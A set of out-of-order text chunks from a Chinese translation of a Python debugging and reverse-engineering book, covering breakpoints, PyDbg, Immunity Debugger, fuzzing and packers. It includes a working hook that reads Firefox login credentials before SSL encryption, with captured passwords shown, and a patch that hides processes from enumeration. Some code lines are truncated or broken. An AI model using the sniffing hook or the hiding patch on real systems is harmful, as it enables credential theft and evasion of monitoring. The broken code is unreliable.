基于脚本的输出，我们能看到 CREATE_PROCESS_EVENT (0x3)事件是第一个发生的， 接 下 来 的 是 一 堆 的 LOAD_DLL_DEBUG_EVENT (0x6) 事 件 ， 然 后 CREATE_THREAD_DEBUG_EVENT (0x2) 创 建 一 个 新 线 程 。"},
    {"text": "接 着 就 是 一 个 EXCEPTION_DEBUG_EVENT (0x1)例外事件，它由 windows 设置的断点所引发的，允许在 进程启动前观察进程的状态。 最后一个事件是 EXIT_THREAD_DEBUG_EVENT (0x4)，它 由进程 3912 结束只身产生。"},
    {"text": "打开 my_debugger.py 加入以下代码： #my_debugger.py ... class debugger(): def __init__(self): self.h_process = None self.pid = None self.debugger_active = False self.h_thread = None self.context = None self.exception = None self.exception_address = None ... def get_debug_event(self): debug_event = DEBUG_EVENT() continue_status= DBG_CONTINUE if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE): # Let's obtain the thread and context information self.h_thread = self.open_thread(debug_event.dwThreadId) self.context = self.get_thread_context(self.h_thread) print \"Event Code: %d Thread ID: %d\" % (debug_event.dwDebugEventCode, debug_event.dwThreadId) # If the event code is an exception, we want to # examine it further. if debug_event.dwDebugEventCode == EXCEPTION_DEBUG_EVENT: # Obtain the exception code exception = debug_event.u.Exception.ExceptionRecord.ExceptionCod self.exception_address = debug_event.u.Exception.ExceptionRecord.ExceptionAdd if exception == EXCEPTION_ACCESS_VIOLATION: print \"Access Violation Detected.\" # If a breakpoint is detected, we call an internal # handler. elif exception == EXCEPTION_BREAKPOINT: continue_status = self.exception_handler_breakpoint() elif ec == EXCEPTION_GUARD_PAGE: print \"Guard Page Access Detected.\" elif ec == EXCEPTION_SINGLE_STEP: print \"Single Stepping.\" kernel32.ContinueDebugEvent( debug_event.dwProcessId, debug_event.dwThreadId, continue_status ) ... def exception_handler_breakpoint(): print \"[*] Inside the breakpoint handler.\" print \"Exception Address: 0x%08x\" % self.exception_address return DBG_CONTINUE 如果你重新运行这个脚本，将看到由软件断点的异常处理函数打印的输出结果。"},
    {"text": "序 2.4 断点 当我们需要让被调试程序暂停的时候就需要用到断点。通过暂停进程，我们能观察 变量，堆栈参数以及内存数据，并且记录他们。断点有非常多的好处，当你调试进程的时候 这些功能会让你觉得很舒爽。断点主要分成三种：软件断点，硬件断点，内存断点。他们有 非常相似的工作方式，但实现的手段却各不相同。"},
    {"text": "第一步，下载 Python 2.5 源码并解压: _______________________________________________________________________________ # cd /usr/local/ # wget http://python.org/ftp/python/2.5.1/Python-2.5.1.tgz # tar –zxvf Python-2.5.1.tgz # mv Python-2.5.1 Python25 # cd Python25 _______________________________________________________________________________ 代码解压到/usr/local/Python25 之后，就要编译安装了: _______________________________________________________________________________ # ./configure –-prefix=/usr/local/Python25 # make && make install # pwd /usr/local/Python25 # python Python 2.5.1 (r251:54863, Mar 14 2012, 07:39:18) [GCC 3.4.6 20060404 (Red Hat 3.4.6-8)] on Linux2 Type \"help\", \"copyright\", \"credits\" or \"license\" for more information. >>> _______________________________________________________________________________ 现在我们就拥有了一个交互式的 Python Shell，能够自由的操作 Python 和 Python 库了。"},
    {"text": "输入个语句测试下: _______________________________________________________________________________ >>> print \"Hello World!\" Hello World! >>> exit() # _______________________________________________________________________________ 很好！"},
    {"text": "_______________________________________________________________________________ export PATH=/usr/local/Python25/:$PATH _______________________________________________________________________________ 这样每次执行 python 命令的时候，就不用输入完整的 python 路径了。"},
    {"text": ") 1.3 配置 Eclipse 和 PyDev 为了快速的的开发调试 Python 程序，就必须要使用一个稳定的 IDE 平台。 这里作者推 荐的时候 Eclipse(跨平台的 IDE)和 PyDev。"},
    {"text": "下面让我们 看看和安装和配置它们： 1 从 http://www.eclipse.org/downloads/下载压缩包 2 解压到 C:\\Eclipse 3 运行 C:\\Eclipse\\eclipse.exe 4 第一次运行，会询问在哪里设置工作区的主目录；"},
    {"text": "8 在 Name 后面填上 PyDev Update，在 URl 后面填上 http://pydev.sourceforge.net/updates/， 点击 OK 确认，接着点击 Finish，Eclipse 会自动升级 PyDev。 9 过一会儿，更新窗口就会出现，找到顶端的 PyDev Update，选上 PyDev，单击 Next 继 续下一步。"},
    {"text": "Eclipse 开始安装 PyDe 扩展，全部完成后，单击 Install All。 12 最后一步，在 PyDev 安装好之后，单击 Yes，Eclipse 会重新启动并加载 PyDev。 使用如下步骤配置 Eclipse，以确保 PyDev 能正确的调用 Python 解释器执行脚本。 1. Eclipese 驱动后，选择 Window Preferences 2. 扩展 PyDev，选择 Interpreter – Python。"},
    {"text": "序 my_debugger.py ... class debugger(): ... def func_resolve(self,dll,function): handle = kernel32.GetModuleHandleA(dll) address = kernel32.GetProcAddress(handle, function) kernel32.CloseHandle(handle) return address 现在创建第二个测试套件，循环的调用 printf()。"},
    {"text": "#printf_loop.py from ctypes import * import time msvcrt = cdll.msvcrt counter = 0 while 1: msvcrt.printf(\"Loop iteration %d!\\n\" % counter) time.sleep(2) counter += 1 现在更新测试套件，附加到进程，在 printf()上设置断点。 #my_test.py import my_debugger debugger = my_debugger.debugger() pid = raw_input(\"Enter the PID of the process to attach to: \") debugger.attach(int(pid)) printf_address = debugger.func_resolve(\"msvcrt.dll\",\"printf\") print \"[*] Address of printf: 0x%08x\" % printf_address debugger.bp_set(printf_address) debugger.run() 现在开始测试，在命令行里运行 printf_loop.py。"},
    {"text": "你将看到如下的输出： Enter the PID of the process to attach to: 4048 [*] Address of printf: 0x77c4186a [*] Setting breakpoint at: 0x77c4186a Event Code: 3 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 2 Thread ID: 3620 Event Code: 1 Thread ID: 3620 [*] Exception address: 0x7c901230 [*] Hit the first breakpoint. Event Code: 4 Thread ID: 3620 Event Code: 1 Thread ID: 3148 [*] Exception address: 0x77c4186a [*] Hit user defined breakpoint. Listing 3-3: 处理软件断点事件的事件顺序 我们首先看到 printf()的函数地址在 0x77c4186a，然后在这里设置断点。"},
    {"text": "设置断点的代码之前我们已经完成了，剩下的就是修改处理调试事件的主函数，让它能 够处理由硬件断点引发的异常。 我们知道硬件断点由 INT1 (或者说是步进事件),所以我们就 只要就当的添加另一个异常处理函数到调试循环里。"},
    {"text": "#my_debugger.py ... class debugger(): def __init__(self): self.h_process = None self.pid = None self.debugger_active = False self.h_thread = None self.context = None self.breakpoints = {} self.first_breakpoint= True self.hardware_breakpoints = {} ... def bp_set_hw(self, address, length, condition): # Check for a valid length value if length not in (1, 2, 4): return False else: length -= 1 # Check for a valid condition if condition not in (HW_ACCESS, HW_EXECUTE, HW_WRITE): return False # Check for available slots if not self.hardware_breakpoints.has_key(0): available = 0 elif not self.hardware_breakpoints.has_key(1): available = 1 elif not self.hardware_breakpoints.has_key(2): available = 2 elif not self.hardware_breakpoints.has_key(3): available = 3 else: return False # We want to set the debug register in every thread for thread_id in self.enumerate_threads(): context = self.get_thread_context(thread_id=thread_id) # Enable the appropriate flag in the DR7 # register to set the breakpoint context.Dr7 |= 1 << (available * 2) # Save the address of the breakpoint in the # free register that we found if available == 0: context.Dr0 = address elif available == 1: context.Dr1 = address elif available == 2: context.Dr2 = address elif available == 3: context.Dr3 = address # Set the breakpoint condition context.Dr7 |= condition << ((available * 4) + 16) # Set the length context.Dr7 |= length << ((available * 4) + 18) # Set thread context with the break set h_thread = self.open_thread(thread_id) kernel32.SetThreadContext(h_thread,byref(context)) # update the internal hardware breakpoint array at the used # slot index. self.hardware_breakpoints[available] = (address,length,condition) return True 通过确认全局的硬件断点字典，我们选择了一个空的调试寄存器存储硬件断点。"},
    {"text": "#my_debugger.py ... class debugger(): ... def get_debug_event(self): if self.exception == EXCEPTION_ACCESS_VIOLATION: print \"Access Violation Detected.\" elif self.exception == EXCEPTION_BREAKPOINT: continue_status = self.exception_handler_breakpoint() elif self.exception == EXCEPTION_GUARD_PAGE: print \"Guard Page Access Detected.\" elif self.exception == EXCEPTION_SINGLE_STEP: self.exception_handler_single_step() ... def exception_handler_single_step(self): # Comment from PyDbg: # determine if this single step event occurred in reaction to a # hardware breakpoint and grab the hit breakpoint. # according to the Intel docs, we should be able to check for # the BS flag in Dr6. but it appears that Windows # isn't properly propagating that flag down to us. if self.context.Dr6 & 0x1 and self.hardware_breakpoints.has_key(0): slot = 0 elif self.context.Dr6 & 0x2 and self.hardware_breakpoints.has_key(1): slot = 1 elif self.context.Dr6 & 0x4 and self.hardware_breakpoints.has_key(2): slot = 2 elif self.context.Dr6 & 0x8 and self.hardware_breakpoints.has_key(3): slot = 3 else: # This wasn't an INT1 generated by a hw breakpoint continue_status = DBG_EXCEPTION_NOT_HANDLED # Now let's remove the breakpoint from the list if self.bp_del_hw(slot): continue_status = DBG_CONTINUE print \"[*] Hardware breakpoint removed.\" return continue_status def bp_del_hw(self,slot): # Disable the breakpoint for all active threads for thread_id in self.enumerate_threads(): context = self.get_thread_context(thread_id=thread_id) # Reset the flags to remove the breakpoint context.Dr7 &= ~(1 << (slot * 2)) # Zero out the address if slot == 0: context.Dr0 = 0x00000000 elif slot == 1: context.Dr1 = 0x00000000 elif slot == 2: context.Dr2 = 0x00000000 elif slot == 3: context.Dr3 = 0x00000000 # Remove the condition flag context.Dr7 &= ~(3 << ((slot * 4) + 16)) # Remove the length flag context.Dr7 &= ~(3 << ((slot * 4) + 18)) # Reset the thread's context with the breakpoint removed h_thread = self.open_thread(thread_id) kernel32.SetThreadContext(h_thread,byref(context)) # remove the breakpoint from the internal list. del self.hardware_breakpoints[slot] return True 代码很容易理解；"},
    {"text": "让我们修改 my_test.py 并在 printf()上设置硬件断点看看。 #my_test.py import my_debugger from my_debugger_defines import * debugger = my_debugger.debugger() pid = raw_input(\"Enter the PID of the process to attach to: \") debugger.attach(int(pid)) printf = debugger.func_resolve(\"msvcrt.dll\",\"printf\") print \"[*] Address of printf: 0x%08x\" % printf debugger.bp_set_hw(printf,1,HW_EXECUTE) debugger.run() 这个测试模块在 printf()上设置了一个断点，只要调用函数，就会触发调试事件。"},
    {"text": "运行后输出结果如下： Enter the PID of the process to attach to: 2504 [*] Address of printf: 0x77c4186a Event Code: 3 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 2 Thread ID: 2228 Event Code: 1 Thread ID: 2228 [*] Exception address: 0x7c901230 [*] Hit the first breakpoint. Event Code: 4 Thread ID: 2228 Event Code: 1 Thread ID: 3704 [*] Hardware breakpoint removed. Listing 3-4: 处理一个硬件断点事件的顺序 一切都在预料中，程序抛出异常，处理程序移除断点。"},
    {"text": "为了能准确的计算出页面的大小，就要向系统查询信息获得一个内存页的默认大小。 这 由 GetSystemInfo()函数完成，函数会装填一个 SYSTEM_INFO 结构，这个结构包含 wPageSize 成员，这就是操作系统内存页默认大小。 #my_debugger.py ... class debugger(): def __init__(self): self.h_process = None self.pid = None self.debugger_active = False self.h_thread = None self.context = None self.breakpoints = {} self.first_breakpoint= True self.hardware_breakpoints = {} # Here let's determine and store # the default page size for the system system_info = SYSTEM_INFO() kernel32.GetSystemInfo(byref(system_info)) self.page_size = system_info.dwPageSize ... 已经获得默认页大小，那剩下的就是查询和控制页面的权限。"},
    {"text": "函数和结构定义如 下: SIZE_T WINAPI VirtualQuery( HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength ); typedef struct MEMORY_BASIC_INFORMATION{ PVOID BaseAddress; PVOID AllocationBase; DWORD AllocationProtect; SIZE_T RegionSize; DWORD State; DWORD Protect; DWORD Type; } 上面的结构中 BaseAddress 的值就是我们要设置权限的页面的开始地址。 接下来用 VirtualProtectEx()设置权限，函数原型如下： BOOL WINAPI VirtualProtectEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ); 让我们着手写代码。"},
    {"text": "我们将创建 2 个全局列表，其中一个包含所有已经设置了好了 的保护页，另一个包含了所有的内存断点，在处理 GUARD_PAGE_EXCEPTION 异常的时 候将用得着。"},
    {"text": "#my_debugger.py ... class debugger(): def __init__(self): ... self.guarded_pages = [] self.memory_breakpoints = {} ... def bp_set_mem (self, address, size): mbi = MEMORY_BASIC_INFORMATION() # If our VirtualQueryEx() call doesn’t return # a full-sized MEMORY_BASIC_INFORMATION # then return False if kernel32.VirtualQueryEx(self.h_process, address, byref(mbi), sizeof(mbi)) < sizeof(mbi): return False current_page = mbi.BaseAddress # We will set the permissions on all pages that are # affected by our memory breakpoint. while current_page <= address + size: # Add the page to the list; this will # differentiate our guarded pages from those # that were set by the OS or the debuggee process self.guarded_pages.append(current_page) old_protection = c_ulong(0) if not kernel32.VirtualProtectEx(self.h_process, current_page, size, mbi.Protect | PAGE_GUARD, byref(old_protection)): return False # Increase our range by the size of the # default system memory page size current_page += self.page_size # Add the memory breakpoint to our global list self.memory_breakpoints[address] = (address, size, mbi) return True 现在我们已经能够设置内存断点了。"},
    {"text": "不过有一件好事，就是系统替我们 完成了扫尾工作，一旦保护页被访问，就会抛出一个异常，这时候系统会移除页面的保护属 性，然后允许程序继续执行。"},
    {"text": "不过你能做些别的，在调试的循环代码里，加入特定的处理过 程，在断点触发的时候，重设断点，读取断点处的内存，喝瓶‘蚁力神’ （这个不强求，哈）， 或者干点别的。"},
    {"text": "不仅对创建调试器有了 深刻的领会，也学会了很多重要的技术，无论将来做不做调试都非常有用。 至少在用别的调 试器的时候你能够明白底层做了些什么，也能够修改调试器，让它更好用。"},
    {"text": "4 PyDBG---纯 PYTHON 调试器 话说上回我们讲到如何在 windows 下构造一个用户模式的 调试器，最后在大家的不懈努力下，终于历史性的完成了这一伟 大工程。"},
    {"text": "现在 PyDbg 已经用于各种各样的工 具之中了，其中包括 Taof （非常流行的 fuzzer 代理）ioctlizer（作者开发的一个针对 windwos 驱动的 fuzzer）。"},
    {"text": "PyDbg 设置函数的断点原型如下： bp_set(address, description=\"\",restore=True,handler=None) address 是要设置的断点的地址，description 参数可选，用来给每个断点设置唯一的名字。"},
    {"text": "这次我们在 printf() 函数上下断点，以便读取 printf()输出时用到的参数 counter 变量，之后用一个 1 到 100 的随 机数替换这个变量的值，最后再打印出来。"},
    {"text": "#printf_random.py from pydbg import * from pydbg.defines import * import struct import random # This is our user defined callback function def printf_randomizer(dbg): # Read in the value of the counter at ESP + 0x8 as a DWORD parameter_addr = dbg.context.Esp + 0x8 counter = dbg.read_process_memory(parameter_addr,4) # When we use read_process_memory, it returns a packed binary # string. We must first unpack it before we can use it further. counter = struct.unpack(\"L\",counter)[0] print \"Counter: %d\" % int(counter) # Generate a random number and pack it into binary format # so that it is written correctly back into the process random_counter = random.randint(1,100) random_counter = struct.pack(\"L\",random_counter)[0] # Now swap in our random number and resume the process dbg.write_process_memory(parameter_addr,random_counter) return DBG_CONTINUE # Instantiate the pydbg class dbg = pydbg() # Now enter the PID of the printf_loop.py process pid = raw_input(\"Enter the printf_loop.py PID: \") # Attach the debugger to that process dbg.attach(int(pid)) # Set the breakpoint with the printf_randomizer function # defined as a callback printf_address = dbg.func_resolve(\"msvcrt\",\"printf\") dbg.bp_set(printf_address,description=\"printf_address\",handler=printf_randomizer) # Resume the process dbg.run() 现在运行 printf_loop.py 和 printf_random.py 两个文件。"},
    {"text": "Table 4-1:调试器和进程的输出 Output from Debugger Output from Debugged Process Enter the printf_loop.py PID: 3466 Loop iteration 0! … Loop iteration 1! … Loop iteration 2! … Loop iteration 3! Counter: 4 Loop iteration 32! Counter: 5 Loop iteration 39! Counter: 6 Loop iteration 86! Counter: 7 Loop iteration 22! Counter: 8 Loop iteration 70! Counter: 9 Loop iteration 95! Counter: 10 Loop iteration 60! 为了不把你搞混，让我们看看 printf_loop.py 代码。 from ctypes import * import time msvcrt = cdll.msvcrt counter = 0 while 1: msvcrt.printf(\"Loop iteration %d!\\n\" % counter) time.sleep(2) counter += 1 先搞明白一点，printf()接受的这个 counter 是主函数里 counter 的拷贝，就是说在 printf 函数内部,无论怎么修改都不会影响到外面的这个 counter(C 语言所说的只有传递指针才能真 正的改变值)。"},
    {"text": "你应该看到，调试器在 printf 循环到第 counter 变量为 4 的时候才设置了断点。 这是 因 为被 counter 被捕捉到的时候已经为 4 了（这是为了让大家看到对比结果，不要认为调试器 傻了）。"},
    {"text": "到 4 的时候，printf() 被中断，内部的 counter 被随即修改为 32!这个例子很简单且强大，它告诉了你在调试事件 发生的时候如何构建回调函数完成自定义的操作。"},
    {"text": "溢出的脚本 buffer_overflow.py，代码如下： #buffer_overflow.py from ctypes import * msvcrt = cdll.msvcrt # Give the debugger time to attach, then hit a button raw_input(\"Once the debugger is attached, press any key.\") # Create the 5-byte destination buffer buffer = c_char_p(\"AAAAA\") # The overflow string overflow = \"A\" * 100 # Run the overflow msvcrt.strcpy(buffer, overflow) 问题出在这句 msvcrt.strcpy(buffer, overflow)，接受的应该是一个指针，而传递给函数的 是 一 个 变 量 ， 函 数 就 会 把 overflow 当 作 指 针 使 用 ， 把 里 头 的 值 当 作 地 址 用 （0x41414141414.....）。"},
    {"text": "#access_violation_handler.py from pydbg import * from pydbg.defines import * # Utility libraries included with PyDbg import utils # This is our access violation handler def check_accessv(dbg): # We skip first-chance exceptions if dbg.dbg.u.Exception.dwFirstChance: return DBG_EXCEPTION_NOT_HANDLED crash_bin = utils.crash_binning.crash_binning() crash_bin.record_crash(dbg) print crash_bin.crash_synopsis() dbg.terminate_process() return DBG_EXCEPTION_NOT_HANDLED pid = raw_input(\"Enter the Process ID: \") dbg = pydbg() dbg.attach(int(pid)) dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,check_accessv) dbg.run() 现在运行 buffer_overflow.py，并记下它的进程号，我们先暂停它等处理完以后再运行。 执行 access_violation_handler.py 文件，输入测试套件的 PID.当调试器附加到进程以后，在测 试套件的终端里按任何键，接下来你应该看到和表 4-1 相似的输出。"},
    {"text": "python25.dll:1e071cd8 mov ecx,[eax+0x54] from thread 3376 caused access violation when attempting to read from 0x41414195 CONTEXT DUMP EIP: 1e071cd8 mov ecx,[eax+0x54] EAX: 41414141 (1094795585) -> N/A EBX: 00b055d0 ( 11556304) -> @Ù\" BÒx,Ò )Xb@|V`\"L{O+H]$6 (heap) ECX: 0021fe90 ( 2227856) -> !$4|7|4|@%,\\!$H8|!OGGBG)00S\\o (stack) EDX: 00a1dc60 ( 10607712) -> V0`w`W (heap) EDI: 1e071cd0 ( 503782608) -> N/A ESI: 00a84220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap) EBP: 1e1cf448 ( 505214024) -> enable() -> NoneEnable automa (stack) ESP: 0021fe74 ( 2227828) -> 2? BUH` 7|4|@%,\\!$H8|!OGGBG) (stack) +00: 00000000 ( 0) -> N/A +04: 1e063f32 ( 503725874) -> N/A +08: 00a84220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap) +0c: 00000000 ( 0) -> N/A +10: 00000000 ( 0) -> N/A +14: 00b055c0 ( 11556288) -> @F@Ù\" BÒx,Ò )Xb@|V`\"L{O+H]$ (heap) disasm around: 0x1e071cc9 int3 0x1e071cca int3 0x1e071ccb int3 0x1e071ccc int3 0x1e071ccd int3 0x1e071cce int3 0x1e071ccf int3 0x1e071cd0 push esi 0x1e071cd1 mov esi,[esp+0x8] 0x1e071cd5 mov eax,[esi+0x4] 0x1e071cd8 mov ecx,[eax+0x54] 0x1e071cdb test ch,0x40 0x1e071cde jz 0x1e071cff 0x1e071ce0 mov eax,[eax+0xa4] 0x1e071ce6 test eax,eax 0x1e071ce8 jz 0x1e071cf4 0x1e071cea push esi 0x1e071ceb call eax 0x1e071ced add esp,0x4 0x1e071cf0 test eax,eax 0x1e071cf2 jz 0x1e071cff SEH unwind: 0021ffe0 -> python.exe:1d00136c jmp [0x1d002040] ffffffff -> kernel32.dll:7c839aa8 push ebp Listing 4-1：PyDbg 捕捉到的奔溃信息 输出了很多有用的信息片断。"},
    {"text": "序 5.2Immunity Debugger 101 在研究强大的 immlib 库之前，先看下 Immunity 的界面。 图 5-1:Immunity 调试器主界面 调试器界面被分成 5 个主要的块。左上角是 CPU 窗口，显示了正在处理的代码的反汇 编指令。右上角是寄存器窗口，显示所有通用寄存器。左下角是内存窗口，以十六进制的形 式显示任何被选中的内存快。右下角是堆栈窗口，显示调用的堆栈和解码后的函数参数（任 何原生的 API 调用）。最底下白色的窗口是命令栏，你能够像 WindDbg 一样使用命令控制调 试器，或者执行 PyCommands。 5.2.1"},
    {"text": "代码如下： process32first = imm.getAddress(\"kernel32.Process32FirstW\") process32next = imm.getAddress(\"kernel32.Process32NextW\") function_list = [ process32first, process32next ] patch_bytes = imm.Assemble( \"SUB EAX, EAX\\nRET\" ) for address in function_list: opcode = imm.disasmForward( address, nlines = 10 ) imm.writeMemory( opcode.address, patch_bytes ) 首先获取两个函数的地址，将它们放到列表中。"},
    {"text": "函数原型： add( pydbg, address, num_arguments, func_entry_hook, func_exit_hook ) 第一个参数设置成一个有效的 pydbg 目标，address 参数设置成要安装 hook 的地址， num_arguments 设置成传递给 hook 的参数。"},
    {"text": "func_entry_hook 和 func_exit_hook 都是回调函数。 func_entry_hook 是 hook 被触发后立刻调用的，func_exit_hook 是被 hook 的函数将要退出之 前执行的。 entry hook 用于得到函数的参数，exit hook 用于捕捉函数的返回值。"},
    {"text": "def entry_hook( dbg, args ): # Hook code here return DBG_CONTINUE dbg 参数设置成有效的 pydbg 目标，args 接收一个列表，包含 hook 触发时接收到的参 数。 exit hook 回调函数有一点不同就是多了个 ret 参数，包含了函数的返回值(EAX 的值): def exit_hook( dbg, args, ret ): # Hook code here return DBG_CONTINUE 接下用实例看看如何用 entry hook 嗅探加密前的数据。 #firefox_hook.py from pydbg import * from pydbg.defines import * import utils import sys dbg = pydbg() found_firefox = False # Let's set a global pattern that we can make the hook # search for pattern = \"password\" # This is our entry hook callback function # the argument we are interested in is args[1] def ssl_sniff( dbg, args ): # Now we read out the memory pointed to by the second argument # it is stored as an ASCII string, so we'll loop on a read until # we reach a NULL byte buffer = \"\" offset = 0 while 1: byte = dbg.read_process_memory( args[1] + offset, 1 ) if byte != \"\\x00\": buffer += byte offset += 1 continue else: break if pattern in buffer: print \"Pre-Encrypted: %s\" % buffer return DBG_CONTINUE # Quick and dirty process enumeration to find firefox.exe for (pid, name) in dbg.enumerate_processes(): if name.lower() == \"firefox.exe\": found_firefox = True hooks = utils.hook_container() dbg.attach(pid) print \"[*] Attaching to firefox.exe with PID: %d\" % pid # Resolve the function address hook_address = dbg.func_resolve_debuggee(\"nspr4.dll\",\"PR_Wri if hook_address: # Add the hook to the container. We aren't interested # in using an exit callback, so we set it to None. hooks.add( dbg, hook_address, 2, ssl_sniff, None ) print \"[*] nspr4.PR_Write hooked at: 0x%08x\" % hook_address break else: print \"[*] Error: Couldn't resolve hook address.\" sys.exit(-1) if found_firefox: print \"[*] Hooks set, continuing process.\" dbg.run() else: print \"[*] Error: Couldn't find the firefox.exe process.\" sys.exit(-1) 代码简洁明了:在 PR_Write 上设置 hook，当 hook 被触发的时候，我们尝试读出第二个 参数指向的字符串。"},
    {"text": "重复之前的步骤，登录 https://www.openrce.org/，将看到输出如下： [*] Attaching to firefox.exe with PID: 1344 [*] nspr4.PR_Write hooked at: 0x601a2760 [*] Hooks set, continuing process. Pre-Encrypted: username=test&password=test&remember_me=on Pre-Encrypted: username=test&password=test&remember_me=on Pre-Encrypted: username=jms&password=yeahright!&remember_me=on Listing 6-1: How cool is that! 我们能看到未加密前的用户名密码 我们已经看到了 soft hook 的轻量级和强大能力。"},
    {"text": "序 12.3.4 UPX UPX 是自由的，是开源的，是跨平台的(Linux Windows....)。提供不同的压缩级别，和 许多附加的选项，用于完成各种不同的压缩任务。我们使用默认的压缩方案，都让你可随意 的测试。 从 http://upx.sourceforge.net 下载 UPX。 解压到 C 盘，官方没有提供图形界面，所以我们必须从命令行操作。打开 CMD，改 变当前目录到 C:\\upx303w(也就是 UPX 解压的目录)，输入以下命令： C:\\upx303w>upx -o c:\\calc_upx.exe C:\\Windows\\system32\\calc.exe Ultimate Packer for eXecutables Copyright (C) 1996 - 2008 UPX 3.03w Markus Oberhumer, Laszlo Molnar & John Reiser Apr 27th 2008 File size Ratio Format Name -------------------- ------ ----------- ----------- 114688 -> 56832 49.55% win32/pe calc_upx.exe Packed 1 file. C:\\upx303w> 成功的压缩了 Windows 的计算器，并且转储到了 C 盘下。 -o 为输出标志，指定输出文件名。接下来，终于到了 PEPyEmu 出马了。 序 M CROSOFT GLOBAL FLAGS 这项技术是专门为软件开发者(or exploit writer)专门设计的。Gflags(Global flags 全局标 志)是一系列的诊断和调试设置，能够让你非常精确的跟踪，记录，和调试软件。在 2000， xp 和 2003 上都能够使用这项技术。 这项技术最有趣的地方在于堆页面的校对。当我们在一个进程上打开这个选项的时候， 校对器会动态的更重内存的操作，包括内存的申请和释放。不过真正令人高兴的特点是，它 能够在堆溢出发生的时候立刻产生一个调试中断，这样调试器就会停在产生错误的指令上。 这样在下面的调试中遇到了堆相关的 bug 的时候我们就能方便的查找到源头在哪。 我 们 能 够 使 用 gflags.exe 来 编 辑 Gflags 标 志 帮 助 我 们 跟 踪 堆 溢 出 。 http://www.microsoft.com/downloads/details.aspx?FamilyId=49AE8576-9BB9-4126-9761-BA80 11FABF38&displaylang=en.这个软件是 Microsoft \"免费\"提供的，请\"放心\"安装。 Immunity 也提供了一个 Gflags 库，并且将它和 PyCommand 结合在了一起。更多的信 息访问 http://debugger.immunityinc.com/. _______________________________________________________________________________ 为了通过 fuzzing 溢出目标程序，我们会简单的传递给程序大量的数据，然后跟踪程序， 找出利用了我们传入数据的代码，然后祈祷它没有合格验证数据长度的,my god! 接下来看看另一个常见的应用程序漏洞，Integer Overflows 整数溢出。 8.1.2 序 2.3 调试事件 调试器在调试程序的时候会一直循环等待，直到检测到一个调试事件的发生。当调试事 件发生的时候，就会调用一个与之对应的事件处理函数。 处理函数被调用的时候，调试器会暂停程序等待下一步的指示。以下的这些事件是一个 调试器必须能够捕捉到的（也叫做陷入）: · 断点触发 · 内存违例（也叫做访问违例或者段错误） · 程序异常 每个操作系统都使用不同的方法将这些事件传递给调试器，这些留到操作系统章节 详细介绍 。部分的操作系统，能捕捉（陷入）更多的事件，比如在线程或者进程的创建以 及动态链接库的加载的时候。 一个优秀的调试器必须是可定制脚本的，能够自定义事件处理函数从而对程序进 行自动化调试。举个例子，一个内存访问违例产生的缓冲区溢出，对于黑客来说相当的有趣。 如果在平时正常的调试中你就必须和调试器交互，一步一步的收集信息。但是当你使用定制 好的脚本操作调试器的时候，它就能够建立起相对应的事件处理函数，并自动化的收集所有 相关的信息。这不仅仅节省了时间，还让我们更全面的控制整个调试过程。 序 Sulley primitives 在我们开始开始对目标动手前，必须先定义好所有的 building blocks（构建块），这些块 负责产生协议相关的测试数据。 Sulley 提供了所需的各种的数据格式，为我们创建简单高 效的 protocol descriptions 提供了便利。这些单独的数据组件叫做 primitives（原语）。我们先 简短讲解一些 fuzz WarFTPD 时候会用到的 primitives。一旦你理解了如何使用其中一个 primitives，那剩下的就很容易了。 9.2.1"},
    {"text": "举个例子： _______________________________________________________________________________ MOV EAX, EBX _______________________________________________________________________________ 这个指令告诉 CPU 把存储在 EBX 寄存器里的东西放到 EAX 寄存器里。"},
    {"text": "前面的汇编指令转化成操作码 就是下面这样： _______________________________________________________________________________ 8BC3 _______________________________________________________________________________ 如你说见，幕后正在进行的操作相当的令人困惑，但这确实是 CPU 的语言。"},
    {"text": "如果我们先前讲解的指令发生在 0x4433221 这个地址，一般是这样显示的： _______________________________________________________________________________ 0x44332211: 8BC3 MOV EAX, EBX _______________________________________________________________________________ 这里显示了地址，操作码，和高级的汇编指令。"},
    {"text": "为了在这个地址设置断点，暂停 CPU， 我们将从 2 个字节的 8BC3 操作码中换出一个单字节的操作码。 这个单字节的操作码也就 是 3 号中断指令（INT 3），一条能让 CPU 暂停的指令。 3 号中断转换成操作码就是 0xCC。 这里是设置断点前和设置断点后的对比： 在断点被设置前的操作码 _______________________________________________________________________________ 0x44332211: 8BC3 MOV EAX, EBX _______________________________________________________________________________ 断点被设置后的操作码 _______________________________________________________________________________ 0x44332211: CCC3 MOV EAX, EBX _______________________________________________________________________________ 很明显原操作码中的 8B 被替换成了 CC。 当 CPU 执行到这个操作码的时候，CPU 暂停， 并触发一个 INT3(3 号中断)事件。"},
    {"text": "调试器继续判断这个 发生中断事件的地址(通过 EIP 指针，指令指针)是不是自己先前设置断点的地址。 如果在调 试器内部的断点列表中找到了这个地址，就将设置断点前存储起来的操作码写回到目标地 址，这样进程被调试器恢复后就能正常的执行。"},
